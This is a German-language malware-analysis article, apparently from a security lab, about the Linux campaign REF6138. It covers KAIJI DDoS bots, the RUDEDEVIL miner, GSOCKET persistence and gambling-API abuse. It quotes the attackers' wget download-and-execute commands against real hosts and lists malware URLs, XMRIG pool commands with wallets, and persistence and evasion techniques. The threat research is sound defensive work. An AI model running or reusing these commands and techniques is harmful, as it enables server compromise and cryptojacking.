Remco SprootenRuben Groenewoud

Wetten auf Bots: Untersuchung von Linux-Malware, Krypto-Mining und Missbrauch der Glücksspiel-API

Die Kampagne REF6138 beinhaltete Kryptomining, DDoS-Angriffe und potenzielle Geldwäsche über Glücksspiel-APIs und verdeutlichte den Einsatz sich ständig weiterentwickelnder Malware und versteckter Kommunikationskanäle durch die Angreifer.

80 Minuten LesezeitMalware-Analyse, Angriffsmuster
Wetten auf Bots: Untersuchung von Linux-Malware, Krypto-Mining und Missbrauch von Glücksspiel-APIs

Einführung

In den letzten Monaten haben die Elastic Security Labs eine ausgeklügelte Linux-Malware-Kampagne aufgedeckt, die auf anfällige Server abzielt. Die Angreifer initiierten die Kompromittierung im März 2024 , indem sie einen Apache2-Webserver ausnutzten. Beim ersten Zugriff setzten die Bedrohungsakteure ein komplexes Intrusionsset ein, um Persistenz aufzubauen und ihre Kontrolle über den kompromittierten Host zu erweitern.

Die Bedrohungsakteure verwendeten eine Mischung aus Tools und Malware, darunter C2-Kanäle, die als Kernel-Prozesse getarnt waren, Telegramm-Bots für die Kommunikation und Cron-Jobs für die geplante Aufgabenausführung. Insbesondere setzten sie mehrere Malware-Familien wie KAIJI und RUDEDEVIL neben speziell geschriebener Malware ein. KAIJI, bekannt für seine DDoS-Fähigkeiten, und RUDEDEVIL, ein Kryptowährungs-Miner, wurden verwendet, um Systemressourcen für böswillige Zwecke auszunutzen.

Unsere Untersuchung ergab ein potenzielles Bitcoin/XMR-Mining-Schema, das Glücksspiel-APIs nutzt, was darauf hindeutet, dass die Angreifer möglicherweise Geldwäscheaktivitäten mit kompromittierten Hosts durchführen. Wir erhielten auch Zugang zu einer Dateifreigabe, in der täglich neue KAIJI-Samples mit bisher unveröffentlichten Hashes hochgeladen wurden, was auf eine aktive Entwicklung und Anpassung durch die Malware-Autoren hindeutet.

Diese Forschungspublikation befasst sich mit den Details der Kampagne und bietet eine umfassende Analyse der Taktiken, Techniken und Verfahren der Angreifer. Wir untersuchen, wie sie den Erstzugriff eingerichtet haben, welche Methoden für die Persistenz und Rechteausweitung verwendet wurden und welche Malware in jeder Phase eingesetzt wurde. Darüber hinaus diskutieren wir die Befehls- und Kontrollinfrastruktur, einschließlich der Verwendung von GSOCKET und Telegram für die heimliche Kommunikation.

Ablauf der Ausführung

Erstzugriff

Unser Team beobachtete einen Host, der im März 2024 zunächst kompromittiert wurde, indem er die Ausführung willkürlichen Codes auf einem Server mit Apache2 erhielt. Ein Beweis für diese Kompromittierung ist die Ausführung des Befehls id über den Apache2-Prozess, woraufhin der Bedrohungsakteur den Webserver ausnutzt und KAIJI-Malware unter dem www-data -Benutzerkonto einsetzt.

Kurz nach der Kaiji-Bereitstellung nutzte der Angreifer das www-data -Konto, um ein Skript mit dem Namen 00.sh von der URL http://61.160.194[.]160:35130herunterzuladen, die nach weiteren Untersuchungen auch mehrere Versionen der RUDEDEVIL-Malware hostete.

00.sh ist ein Stager, der:

  • Legt die Standardshell und PATH fest.
  • Löscht mehrere Protokolldateien, um Ausführungsspuren zu löschen.
  • Nutzt ps, netstat, lsof und eine Liste gängiger Mining-Prozessnamen, um potenzielle Mining-Konkurrenz auf dem kompromittierten Host zu unterbinden.
  • Löscht die iptables Regeln auf dem Host, legt mehrere iptables Regeln fest, um Verbindungen zu bestimmten Zielports und Mining-Pools zu blockieren, und deaktiviert iptables.
  • Schließlich wird eine zweite Phase (sss6/sss68) heruntergeladen und ausgeführt, und die Ausführungsspuren werden gelöscht.

Die folgende Abbildung zeigt eine komprimierte Version des Stagers. Zeilen, die mit [...] versehen sind, werden gekürzt, um die Lesbarkeit zu verbessern.

Dateiserver

Über den Backdoor-Webserver-Prozess lud der Angreifer Malware herunter und führte sie mit dem folgenden Befehl aus:

sh -c wget http://107.178.101[.]245:5488/l64;chmod 777 l64;./l64;rm -r l64;wget http://107.178.101[.]245:5488/l86;chmod 777 l86;./l86;rm -r l86

Die l64 und l86 Dateien werden von http://107.178.101[.]245:5488heruntergeladen, woraufhin ihnen alle Berechtigungen erteilt, ausgeführt und entfernt werden. Wenn wir uns den Server ansehen, auf dem diese Malware-Samples gehostet werden, sehen wir Folgendes:

Dabei scheint es sich um einen Dateiserver zu handeln, der verschiedene Arten von Malware für verschiedene Architekturen hostet. Der Dateiserver nutzt die Rejetto-Technologie. Diese Malware hat Upload-Daten und Download-Zähler. Zum Beispiel wurde die download.sh Datei, die am 10. September hochgeladen wurde, bereits 3.100 Mal heruntergeladen.

RUDEDEVIL/LUZIFER

Bei genauerer Betrachtung wurde die heruntergeladene und ausgeführte Datei sss6als RUDEDEVIL Malware identifiziert. Zu Beginn des Ausführungsprozesses stoßen wir auf eine eingebettete Nachricht, die für diese Malware-Familie charakteristisch ist:

Hi, man. I\'ve seen several organizations report my Trojan recently, 
Please let me go. I want to buy a car. That\'s all. I don\'t want to hurt others. 
I can\'t help it. My family is very poor. In China, it\'s hard to buy a suite. 
I don\'t have any accommodation. I don\'t want to do anything illegal. 
Really, really, interested, you can give me XmR, my address is 42cjpfp1jJ6pxv4cbjxbbrmhp9yuzsxh6v5kevp7xzngklnutnzqvu9bhxsqbemstvdwymnsysietq5vubezyfoq4ft4ptc, 
thank yo

Wir weisen darauf hin, dass die Dateien l64 und l86 , die auf dem Dateiserver gehostet werden, dieselbe Malware enthalten. Bei der Analyse des Ausführungsablaufs der Malware sehen wir, dass die Hauptfunktion der Malware mehrere wichtige Aufgaben erfüllt:

  • Daemon-Initialisierung: Der Prozess wird mit Hilfe von daemon(1, 0)in einen Daemon umgewandelt.
  • Socket-Erstellung: Ein Socket wird erstellt und an einen bestimmten Port gebunden.
  • Signalverarbeitung: Benutzerdefinierte Signalhandler werden für verschiedene Signale eingerichtet.
  • Initialisierung des Dienstes: Mehrere Dienste werden mit SetFILEgestartet.
  • Handhabung von Berechtigungen: Es prüft auf Root-Rechte und passt die Ressourcengrenzen entsprechend an.
  • Entschlüsselung: Die Schadsoftware entschlüsselt ihre Konfigurationsblobs.
  • Thread-Erstellung: Mehrere Threads werden für Aufgaben wie Mining, Beenden von Prozessen und Überwachen der Netzwerk- und CPU-Auslastung erzeugt.
  • Hauptschleife: Das Programm tritt in eine Endlosschleife ein, in der es sich wiederholt mit einem Server verbindet und für eine bestimmte Dauer in den Ruhezustand versetzt wird.

Bei der Untersuchung der Verschlüsselungsroutine stellen wir fest, dass sie eine XOR-basierte Codierung verwendet:

Um die Inhalte statisch zu dekodieren, haben wir ein grundlegendes Python-Snippet entwickelt:

def DecryptData(data_block, encryption_key):
   key_modifier = encryption_key & 0xFF
   key_index = key_modifier // 0x5F  # 0x5F = 95 in decimal
   modifier = (key_modifier - (key_index * 0x5F)) + 0x58  # 0x58 = 88 in decimal

   for i in range(len(data_block)):
       data_block[i] ^= modifier
       data_block[i] &= 0xFF  # Ensure 8-bit value
       data_block[i] += modifier
       data_block[i] &= 0xFF  # Ensure 8-bit value

   return data_block

# Encoded data as hex strings
encoded_data = [
   '4c494356515049490c467978',
   '0d4f1e4342405142454d0b42534e380f0f5145424f0c53034e4f4f4a0c4f40573801393939391e0d451e020141303727222026254f252d372643400706314955032a593330233237587951215553552d464c0101414939514401515258414324273340254756564741404207004122782d50475555412d503106394d4c34554e48513926352054362a1e0d4e1e20',
   '0f424d4e0f435536575649484b',
   '5642424e380f0f5654430c42014a494c45460c534f4d38070602050f435352434356544b',
]

encryption_key = 0x03FF  # 1023 in decimal

# Process and decrypt each encoded data string
for data in encoded_data:
   # Convert hex string to list of integers
   data_bytes = bytes.fromhex(data)
   data_block = list(data_bytes)

   # Decrypt the data
   decrypted_block = DecryptData(data_block, encryption_key)

   # Convert decrypted data back to bytes
   decrypted_bytes = bytes(decrypted_block)
   print("Decrypted text:", decrypted_bytes.decode('utf-8', errors='ignore'))

Nach der Dekodierung der Konfiguration werden die folgenden Werte angezeigt:

  • Der erste Wert C2-Domäne nishabii[.]xyz.
  • Der zweite Wert zeigt Optionen an, die an XMRIG übergeben werden.
  • Der dritte Wert zeigt den Speicherort der temporären Datei an, den die Malware verwendet.
  • Die vierte und letzte Zeichenfolge zeigt den Download-Speicherort für die XMRIG-Binärdatei an.

Thread-Management in der Malware

Die Malware initiiert mehrere Threads, um ihre Kernvorgänge zu erledigen. Schauen wir uns an, wie einige dieser Funktionen im Detail funktionieren.

Die KillPid-Funktion verstehen

In einem der Threads wird die KillPid-Funktion ausgeführt, mit der Prozesse kontinuierlich überwacht und verwaltet werden können. Die Funktion beginnt mit dem Trennen des aktuellen Threads, sodass sie im Hintergrund ausgeführt werden kann, ohne andere Prozesse zu blockieren. Anschließend tritt er in eine Endlosschleife ein und führt seine Aufgaben wiederholt aus.

Das Herzstück seiner Funktionalität ist ein Array namens sb_name, das die Namen der Prozesse enthält, die die Malware beenden möchte.

Alle zwei Sekunden überprüft die Funktion das System auf Prozesse, die in diesem Array aufgeführt sind, und ruft ihre Prozess-IDs (PIDs) mit einer Hilfsfunktion namens getPidByNameab. Nach jeder Iteration wird zum nächsten Prozess in der Liste gewechselt, um sicherzustellen, dass alle Prozesse in sb_name verarbeitet werden.

Interessanterweise wechselt die Funktion nach der Verarbeitung aller Elemente im Array für 600 Sekunden – etwa 10 Minuten – in einen erweiterten Ruhezustand, bevor sie ihre Prozessüberprüfungen fortsetzt. Diese verlängerte Ruhephase wird wahrscheinlich implementiert, um Systemressourcen zu schonen und sicherzustellen, dass die Malware bei der Überwachung von Prozessen nicht zu viel CPU-Zeit verbraucht.

Die Funktion der Get_Net_Messages verstehen

Ein weiterer wichtiger Thread ist für die Überwachung des Netzwerkverkehrs verantwortlich, wobei der Schwerpunkt auf der eth0 Netzwerkschnittstelle liegt. Diese Funktionalität wird von der Funktion getOutRates übernommen. Die Funktion beginnt mit dem Einrichten der erforderlichen Variablen und dem Öffnen der /proc/net/dev Datei, die detaillierte Netzwerkstatistiken für jede Schnittstelle enthält.

Wird die Datei erfolgreich geöffnet, liest die Malware einen Datenblock – bis zu 1024 Byte – und verarbeitet ihn, um die relevanten Netzwerkstatistiken zu extrahieren. Es sucht speziell nach der eth0 Schnittstelle und analysiert die Daten der Ausgaberate mit einer standardmäßigen Zeichenfolgenanalysemethode. Wenn dies erfolgreich ist, gibt die Funktion die Ausgaberate für eth0; Andernfalls wird 0zurückgegeben, um sicherzustellen, dass die Malware auch dann weiterhin funktioniert, wenn ein Fehler auftritt.

Diese Routine ermöglicht es der Malware, die Netzwerkaktivität des infizierten Rechners unbemerkt zu überwachen, wahrscheinlich um Daten zu verfolgen, die über die Schnittstelle gesendet oder empfangen werden.

Die Funktion der Get_Cpu_Message verstehen

Für die CPU-Überwachung nutzt die Malware die Funktion GetCpuRates . Diese Funktion überwacht kontinuierlich die CPU-Auslastung, indem sie Daten aus /proc/statliest. Ähnlich wie bei der Verarbeitung der Netzwerkdaten werden die CPU-Statistiken gelesen und analysiert, sodass die Malware die CPU-Auslastung des Systems berechnen kann.

Die Funktion arbeitet in einer Endlosschleife und schläft zwischen jeder Iteration eine Sekunde lang, um eine Überlastung des Systems zu vermeiden. Wenn die Datei aus irgendeinem Grund nicht geöffnet werden kann, protokolliert die Funktion einen Fehler und wird ordnungsgemäß beendet. Solange sie jedoch in der Lage ist, die Datei zu lesen, überwacht sie kontinuierlich die CPU-Auslastung und stellt sicher, dass die Malware über die Systemleistung informiert bleibt.

Die Funktion der Send_Host_Message verstehen

Der vielleicht kritischste Thread ist derjenige, der für das Zurücksenden von Systeminformationen an die Malware-Betreiber verantwortlich ist. Die Funktion _SendInfo führt diese Aufgabe aus, indem sie Daten über die CPU- und Netzwerkauslastung des infizierten Systems sammelt. Es beginnt mit dem Einrichten von Puffern und dem Vorbereiten von Dateipfaden, um die erforderlichen Daten zu sammeln. Je nach Status des Systems wird die CPU- und Netzwerkauslastung in eine Zeichenfolge formatiert.

Zusätzlich prüft die Funktion, ob ein bestimmter Prozess auf dem System läuft und passt die formatierte Nachricht entsprechend an. Schließlich sendet er diese formatierten Daten über eine Socket-Verbindung an den Command-and-Control-Server zurück.

Im Wesentlichen ermöglicht diese Funktion der Malware, den infizierten Computer aus der Ferne zu überwachen und wichtige Details wie CPU-Auslastung und Netzwerkaktivität zu sammeln. Die Betreiber können diese Informationen nutzen, um den Status ihrer Infektion zu beurteilen und ihre Aktivitäten bei Bedarf anzupassen.

Herstellen einer Verbindung mit dem Command-and-Control-Server (C2)

Sobald alle Threads aktiv sind, verlagert die Malware ihren Fokus auf den Aufbau einer Verbindung mit ihrem C2-Server. Dies wird von der Funktion ConnectServer im Hauptthread verwaltet, die die Kommunikation mit dem Server übernimmt und Befehle remote ausführt.

Grundlegendes zur ConnectServer-Funktion

Die erste Aufgabe, die die Funktion ConnectServer ausführt, besteht darin, mithilfe von ServerConnectClieine Verbindung zum C2-Server herzustellen. Nach erfolgreicher Verbindung konfiguriert die Malware den Socket so, dass Keep-Alive-Einstellungen aktiviert werden, um sicherzustellen, dass die Verbindung über längere Zeiträume stabil bleibt.

Sobald die Verbindung eingerichtet ist, sammelt die Malware verschiedene Systeminformationen, darunter den Hostnamen, Benutzerinformationen, CPU-Spezifikationen und Speicherdetails. Diese Informationen werden dann als erste Datennutzlast an den Server gesendet, um den Angreifern einen detaillierten Überblick über den infizierten Computer zu geben.

Nach dieser Ersteinrichtung tritt die Malware in eine fortlaufende Schleife ein, in der sie auf Befehle vom Server wartet und diese verarbeitet. Die Arten von Befehlen, die verarbeitet werden, sind vielfältig und können Aufgaben wie das Starten eines DDoS-Angriffs, das Stoppen oder Starten von CPU-intensiven Vorgängen, das Ausführen von Systembefehlen oder das Verwalten von Kryptowährungs-Mining-Aktivitäten umfassen. Die Schleife wird auf unbestimmte Zeit fortgesetzt und stellt sicher, dass die Malware bereit ist, jeden von ihren Betreibern gesendeten Befehl auszuführen.

Wenn die Verbindung nicht mehr benötigt wird oder wenn die Malware einen Beendigungsbefehl erhält, schließt sie den Socket ordnungsgemäß und beendet die Sitzung mit dem Server.

Befehls- und Steuerungsbefehle (C2)

Die Funktion ConnectServer verarbeitet eine Vielzahl von Befehlen vom C2-Server, die jeweils dazu bestimmt sind, einen anderen Aspekt des infizierten Systems zu steuern. Hier ist eine Aufschlüsselung der Befehle, die von der Malware verarbeitet werden:

  • Fall 4: Die Malware ruft die DealwithDDoS -Funktion auf und initiiert damit wahrscheinlich einen DDoS-Angriff (Distributed Denial of Service).
  • Fall 5: Legt die StopFlag auf 1fest, was der Malware signalisieren könnte, bestimmte Aufgaben zu beenden.
  • Fall 6: Lädt eine Datei mithilfe von http_getvom Server herunter, ändert ihre Berechtigungen und führt sie dann aus. Dieser Befehl ermöglicht es den Angreifern, zusätzliche Malware oder Skripte auf dem infizierten Computer auszuführen.
  • Fall 7: Führt einen Systembefehl mit der Funktion system aus und gibt den Angreifern direkte Kontrolle über die Befehlszeile des Systems.
  • Fall 8: Setzt StopCpu auf 0und startet alle zuvor angehaltenen CPU-Tasks neu.
  • Fall 9: Legt StopCpu auf 1fest, wodurch alle CPU-Aufgaben angehalten werden.
  • Fall 0xA: Aktualisiert die CPU-Mining-Konfiguration mit neuen Daten und ruft die PID des aktuellen Prozesses ab, sodass die Malware ihre Kryptowährungs-Mining-Operationen ändern kann.
  • Fall 0xB: Setzt stopxmr auf 1, wodurch der XMRIG-Miner effektiv gestoppt wird.
  • Fall 0xC: Setzt stopxmr auf 0 zurück und ruft die aktuelle Prozess-PID ab, wodurch die Miningaktivität fortgesetzt wird.

Jeder Befehl gibt den Malware-Betreibern eine genaue Kontrolle darüber, wie sich der infizierte Computer verhält, unabhängig davon, ob er an einem DDoS-Angriff teilnimmt, neue Malware ausführt oder Mining-Vorgänge verwaltet.

Varianten von RUDEDEVIL Malware und XMRIG-Konfiguration

Während der zuvor erwähnte Dateiserver aktiv war, beobachteten wir, dass mehrere Versionen der RUDEDEVIL-Malware hochgeladen wurden. Die Kernfunktionalität dieser Versionen blieb weitgehend gleich, wobei die einzige signifikante Abweichung die eingebetteten XMRIG-Befehle waren, die für das Kryptowährungs-Mining verwendet werden.

Jede Version der Malware wurde so konfiguriert, dass sie sich mit demselben Mining-Pool verbindet, c3pool.org, jedoch mit geringfügigen Unterschieden in den Parametern, die an den XMRIG-Miner übergeben werden:

  • -o stratum+tcp://auto.c3pool[.]org:19999 -u 41qBGWTRXUoUMGXsr78Aie3LYCBSDGZyaQeceMxn11qi9av1adZqsVWCrUwhhwqrt72qTzMbweeqMbA89mnFepja9XERfHL -p R
  • -o stratum+tcp://auto.c3pool[.]org:19999 -u 41qBGWTRXUoUMGXsr78Aie3LYCBSDGZyaQeceMxn11qi9av1adZqsVWCrUwhhwqrt72qTzMbweeqMbA89mnFepja9XERfHL -p 2
  • -o stratum+tcp://auto.c3pool[.]org:19999 -u 41qBGWTRXUoUMGXsr78Aie3LYCBSDGZyaQeceMxn11qi9av1adZqsVWCrUwhhwqrt72qTzMbweeqMbA89mnFepja9XERfHL -p php
  • -o stratum+tcp://auto.c3pool[.]org:19999 -u 42CJPfp1jJ6PXv4cbjXbBRMhp9YUZsXH6V5kEvp7XzNGKLnuTNZQVU9bhxsqBEMstvDwymNSysietQ5VubezYfoq4fT4Ptc -p 0

Jeder dieser Befehle weist den Miner an, sich mit demselben Mining-Pool zu verbinden, gibt jedoch unterschiedliche Wallets oder Konfigurationen an. Durch die Untersuchung der c3pool Anwendung haben wir bestätigt, dass beide XMR-Adressen, die diesen Befehlen zugeordnet sind, derzeit aktiv sind und im Mining sind.

Darüber hinaus konnten wir durch diese Analyse den Gesamtgewinn schätzen, der durch diese beiden Mining-Kampagnen erzielt wurde, was die finanziellen Auswirkungen der RUDEDEVIL-Malware und ihre Verbindung zu illegalen Kryptowährungs-Mining-Operationen hervorhebt.

GSOCKET

Um die Persistenz zu gewährleisten, lud der Bedrohungsakteur GSOCKET herunter und installierte es, ein Netzwerkdienstprogramm, das die verschlüsselte Kommunikation zwischen Computern ermöglicht, die sich hinter Firewalls oder NAT befinden. GSOCKET erstellt sichere, persistente Verbindungen über das Global Socket Relay Network (GSRN). Dieses Open-Source-Tool enthält Funktionen wie AES-256-Verschlüsselung, Unterstützung für Ende-zu-Ende-Kommunikationssicherheit und Kompatibilität mit SSH, Netcat und TOR, die verschlüsselte Dateiübertragungen, die Ausführung von Remote-Befehlen und sogar die Erstellung versteckter Dienste ermöglichen.

Obwohl GSOCKET nicht von Natur aus bösartig ist, können seine Funktionen für verdächtige Zwecke genutzt werden.

Nach der Bereitstellung führt GSOCKET mehrere Aktionen aus, um die Persistenz aufrechtzuerhalten und ihre Anwesenheit zu verbergen. Zuerst überprüft es das System auf aktive Kernel-Prozesse, um zu entscheiden, als welcher Prozess es getarnt wird:

Anschließend wird das /dev/shm/.gs-1000 Verzeichnis erstellt, um die Binärdatei herunterzuladen und im gemeinsam genutzten Speicher zu speichern. Darüber hinaus richtet es standardmäßig ein /htop Verzeichnis unter /home/user/.config/htop/ ein, in dem sowohl die GSOCKET-Binärdatei als auch der geheime Schlüssel gespeichert werden, der für seine Operationen verwendet wird.

Als Nächstes wird ein Cron-Job eingerichtet, der die GSOCKET-Binärdatei mit dem geheimen Schlüssel jede Minute ausführt.

Die Binärdatei wird unter dem Namen eines Kernel-Prozesses mit dem Befehl exec -a [process_name] ausgeführt, was die Fähigkeit, der Erkennung zu entgehen, weiter verbessert. Der Cron-Job enthält einen base64-codierten Befehl, der nach der Dekodierung sicherstellt, dass der Persistenzmechanismus regelmäßig ausgeführt und als legitimer Kernel-Prozess getarnt wird:

Beim Dekodieren der Nutzlast sehen wir, wie der defunct.dat geheime Schlüssel als Argument zum Ausführen der defunct Binärdatei verwendet wird, die durch die Verwendung exec -a Befehls als [raid5wq] maskiert wird:

Zusätzlich zur Verwendung von Cron-Jobs bietet GSOCKET die Möglichkeit, Persistenz durch Änderung des Shell-Profils, Run Control (rc.local) und Systemd zu etablieren. GSOCKET listet potenzielle Persistenzspeicherorte auf:

GSOCKET unterstützt mehrere Webhooks, wie z. B. Telegram- oder Discord-Integrationen, die Fernsteuerung und Benachrichtigungen ermöglichen:

Schließlich stellt GSOCKET nach der Installation sicher, dass alle Dateien, die erstellt oder geändert werden, zeitgesteuert werden, um zu versuchen, alle Spuren der Installation zu löschen:

Diese Funktionen machen GSOCKET zu einem attraktiven Werkzeug für Bedrohungsakteure, die auf der Suche nach Tarnung und Persistenz sind. In dieser Kampagne wurde GSOCKET ausgenutzt, um verdeckte Kanäle zurück zu C2-Servern einzurichten und gleichzeitig zu versuchen, sich der Entdeckung zu entziehen.

Zusätzlich wurde eine PHP-Payload von einer externen IP abgerufen und als 404.phpgespeichert, die wahrscheinlich als Hintertür für zukünftige Zugriffe dient. Wir haben es nicht geschafft, diese Nutzlast zu erhalten.

Verweildauer nach der Kompromittierung

Nach einer dreiwöchigen Ruhephase ohne nennenswerte Aktivität nahmen die Bedrohungsakteure den Betrieb wieder auf, indem sie das integrierte Python3 nutzten, um eine umgekehrte Verbindung zu einem neuen Command-and-Control-Server herzustellen.

Nachdem Sie wieder Zugriff auf den Host erhalten hatten, wurde eine neuere Version der KAIJI-Malware bereitgestellt.

KAIJI-Malware: ein Vergleich zu früheren Samples

Bei der Untersuchung der Dateien auf dem erkannten Dateiserver haben wir ein Shell-Skript gesehen. Dieses Shell-Skript scheint die Hauptdatei zu sein, die in einer früheren Phase zum Herunterladen verwendet wird, um sicherzustellen, dass die richtige Architektur für das Opfer verwendet wird.

Das gleiche Shell-Skript ist in anderen Berichten zu finden, in denen dieses Skript zum Bereitstellen von KAIJI verwendet wird.

Im Rahmen unserer Untersuchung haben wir die auf dem Dateiserver gefundenen KAIJI-Malware-Samples analysiert und mit Samples verglichen, die von Black Lotus Labs im Jahr 2022 identifiziert wurden. Ihre detaillierte Analyse der Chaos (KAIJI) finden Sie in ihrem Blogbeitrag hier.

Mit BinDiff, einem Binärvergleichstool, haben wir die Funktionen in den Binärdateien verglichen. Die Analyse ergab, dass der Code in unserer Stichprobe identisch mit der zuvor identifizierten KAIJI-Stichprobe aus dem Jahr 2022 war.

Obwohl der Code derselbe war, fiel ein entscheidender Unterschied auf: die C2-Serveradresse. Obwohl die Funktionalität in beiden Binärdateien konsistent blieb, wiesen sie auf unterschiedliche C2-Domänen hin.

Als wir tiefer in die Deassemblierung eintauchten, identifizierten wir eine Funktion namens main_Link. Diese Funktion ist für die Entschlüsselung der C2-Serveradresse verantwortlich, die von der Malware verwendet wird.

Nach der Dekodierung sucht die Funktion nach dem |(odk)/*- Postfix in der Adresse und entfernt es, sodass nur die C2-Domäne und der Port übrig bleiben. Dieser Prozess stellt sicher, dass die Malware mit ihrem C2-Server kommunizieren kann, obwohl sich die Adresse, die sie kontaktiert, zwischen den Samples ändern kann.

Angesichts der Tatsache, dass einige Ressourcen veröffentlicht wurden, die KAIJI statisch zurückentwickeln, werden wir uns stattdessen ein genaueres Bild von seinem Verhalten machen.

Nach der Ausführung erstellt KAIJI mehrere Dateien in den Verzeichnissen /etc/ und /dev/ /etc/id.services.conf, /etc/32678, /dev/.img und /dev/.old. Diese Skripts sind Orte zum Einrichten von Persistenz.

Es werden zwei Dienste eingerichtet, /etc/init.d/linux_kill und crond.service. crond.service wird von Systemd ausgeführt, während linux_kill für die SysVinit-Persistenz verwendet wird.

Nach dem erneuten Laden des Systemd-Daemons wird die erste Netzwerkverbindung zum C2 versucht.

Als Nächstes wird die Systemd Late generator Dienstdatei erstellt. Weitere Informationen über die Funktionsweise von Systemdund verschiedene Möglichkeiten, Persistenz durch diese Methode zu etablieren, finden Sie in unserer kürzlich erschienenen Blog-Serie Linux Detection Engineering - A primer on persistence mechanisms.

KAIJI erstellt die /boot/System.img.config Datei, bei der es sich um eine ausführbare Datei handelt, die über die zuvor bereitgestellten Systemd -Dienste ausgeführt wird. Diese Binärdatei ist neben anderen Binärdateien eine weitere Möglichkeit, Persistenz zu etablieren.

Als Nächstes passt KAIJI die SELinux Richtlinien an, um nicht autorisierte Aktionen zuzulassen. Er durchsucht Überwachungsprotokolle nach verweigerten Vorgängen im Zusammenhang mit System.img.conf, generiert eine neue SELinux Richtlinie, um diese Aktionen zuzulassen, und installiert die Richtlinie mit erhöhter Priorität. Auf diese Weise umgeht die Malware Sicherheitsbeschränkungen, die normalerweise ihre Aktivität blockieren würden.

Darüber hinaus richtet es mehrere zusätzliche Formen der Persistenz über Bash-Profile ein und erstellt zwei weitere bösartige Artefakte. /usr/lib/libd1rpcld.so und /.img.

Gleich danach wird /etc/crontab durch einen echo-Befehl geändert, um sicherzustellen, dass die /.img Datei von root nach einem festgelegten Zeitplan ausgeführt wird.

KAIJI verschiebt weiterhin mehrere Standard-Systembinärdateien an ungewöhnliche Speicherorte und versucht, sich der Erkennung zu entziehen.

KAIJI verwendet den Befehl renice , um PID 2957, einer der von KAIJI gepflanzten ausführbaren Dateien, die höchstmögliche Priorität zu gewähren (auf einer Skala von -20 bis 19, wobei die niedrigste die höchste Priorität ist), um sicherzustellen, dass sie mehr CPU-Ressourcen erhält als andere Prozesse.

Um der Erkennung zu entgehen, setzte KAIJI die Bind-Mount-Technik ein, eine Methode zur Umgehung der Verteidigung, die böswillige Aktivitäten verschleiert, indem sie manipuliert, wie Verzeichnisse innerhalb des Systems bereitgestellt und angezeigt werden.

Schließlich sehen wir eine Spur von cron Ausführung des /.img, der zuvor in die /etc/crontab Datei eingefügt wurde.

Die Saga geht weiter

Zwei Wochen später wurde die Apache-Backdoor wieder aktiv. Eine weitere Backdoor wurde über den www-data Benutzer über den Apache2-Prozess mit dem Befehl heruntergeladen:

sh -c wget http://91.92.241[.]103:8002/gk.php

Der Inhalt dieser Nutzlast ist nicht bekannt. Zu diesem Zeitpunkt beobachteten wir Versuche einer manuellen Rechteausweitung, wobei die Angreifer pspy64einsetzten. Pspy ist ein Befehlszeilenwerkzeug für die Prozessschnüffelung auf Linux-Systemen, ohne dass Root-Rechte erforderlich sind. Es überwacht laufende Prozesse, einschließlich solcher, die von anderen Benutzern initiiert wurden, und erfasst Ereignisse wie die Ausführung von Cron-Jobs. Dieses Tool ist besonders nützlich für die Analyse von Systemaktivitäten, das Erkennen von Versuchen zur Eskalation von Berechtigungen und das Überwachen von Befehlen und Dateisysteminteraktionen, die von Prozessen in Echtzeit ausgelöst werden. Es wird häufig von Angreifern zur Aufklärung in Post-Compromise-Szenarien genutzt, um ihnen Einblick in Systemaufgaben und potenzielle Schwachstellen zu geben.

Bemerkenswert ist, dass pspy64 von der [rcu_preempt] übergeordneten Seite ausgeführt wurde, was darauf hindeutet, dass die Bedrohungsakteure von der Nutzung der Webserver-Backdoor zur Verwendung der GSOCKET-Backdoor übergegangen waren.

Weitere Versuche der Privilegienausweitung betrafen die Ausnutzung von CVE-2021-4034, auch bekannt als pwnkit. Diese Schwachstelle betrifft die pkexec -Komponente des PolicyKit-Pakets in Linux-Systemen, die es einem nicht privilegierten Benutzer ermöglicht, beliebigen Code mit Root-Rechten auszuführen. Durch die Ausnutzung dieser Schwachstelle kann ein Angreifer erhöhten Zugriff auf das System erhalten, was möglicherweise zur vollständigen Kontrolle über den betroffenen Computer führt.

Benutzerdefinierte Binärdateien

Unmittelbar danach versuchten die Angreifer, eine benutzerdefinierte Malware mit dem Namen apache2 herunterzuladen und apache2v86 von:

  • http://62.72.22[.]91/apache2
  • http://62.72.22[.]91/apache2v86

Wir haben Kopien dieser Dateien erhalten, die derzeit auf VirusTotal nicht erkannt werden. Bei der dynamischen Ausführung stellten wir jedoch Segmentierungsfehler fest, und unsere Telemetriedaten bestätigten die Segfault-Aktivität auf dem kompromittierten Host. Im Laufe einer Woche versuchte der Bedrohungsakteur mehr als 15 Mal, diese Binärdateien zu ändern, hochzuladen und auszuführen, aber aufgrund wiederholter Segfaults ist es unwahrscheinlich, dass es ihm gelungen ist, diese benutzerdefinierte Malware auszuführen.

Obwohl die Binärdateien nicht ausgeführt werden konnten, lieferten sie dennoch wertvolle Erkenntnisse während des Reverse Engineering. Wir entdeckten mehrere XOR-kodierte Zeichenketten in den Samples.

Der XOR-Schlüssel, der zum Codieren der Zeichenfolgen verwendet wurde, wurde als 0x79 (oder das Zeichen y) identifiziert. Nachdem wir die Zeichenfolgen entschlüsselt hatten, entdeckten wir Fragmente eines HTTP-Anforderungsheaders, den die Malware zu erstellen versuchte:

/934d9091-c90f-4edf-8b18-d44721ba2cdc HTTP/1.1
sec-ch-ua: "Chromium";v="122", "Google Chrome";v="122", "Not-A.Brand";v="99
sec-ch-ua-platform: "Windows"
upgrade-insecure-requests: 1
accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
referer: https://twitter[.]com
accept-language: ru,en-US;q=0.9
Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.

Dies deutet darauf hin, dass die Malware dabei war, HTTP-Anfragen zu erstellen. Aufgrund der unvollständigen Natur der Header und der wiederholten Fehler bei der Ausführung ist jedoch klar, dass diese Software noch nicht vollständig entwickelt oder betriebsbereit war.

Zusätzliche Aufklärung

Die Angreifer verwendeten weiterhin Tools von The Hacker's Choice, indem siewhatserver.shherunterluden und ausführten.

Dieses Shell-Skript dient zum Sammeln und Anzeigen von Serverinformationen. Es extrahiert Details wie die vollqualifizierten Domänennamen (FQDNs) aus SSL-Zertifikaten, Nginx- und Apache-Konfigurationsdateien sowie Informationen zu Systemressourcen wie CPU- und Speicherauslastung, Virtualisierungsdetails und Netzwerkeinstellungen. Das Skript kann auch die letzten Aktivitäten zusammenfassen, einschließlich der zuletzt angemeldeten Benutzer und der derzeit überwachten Dienste.

Bergbau

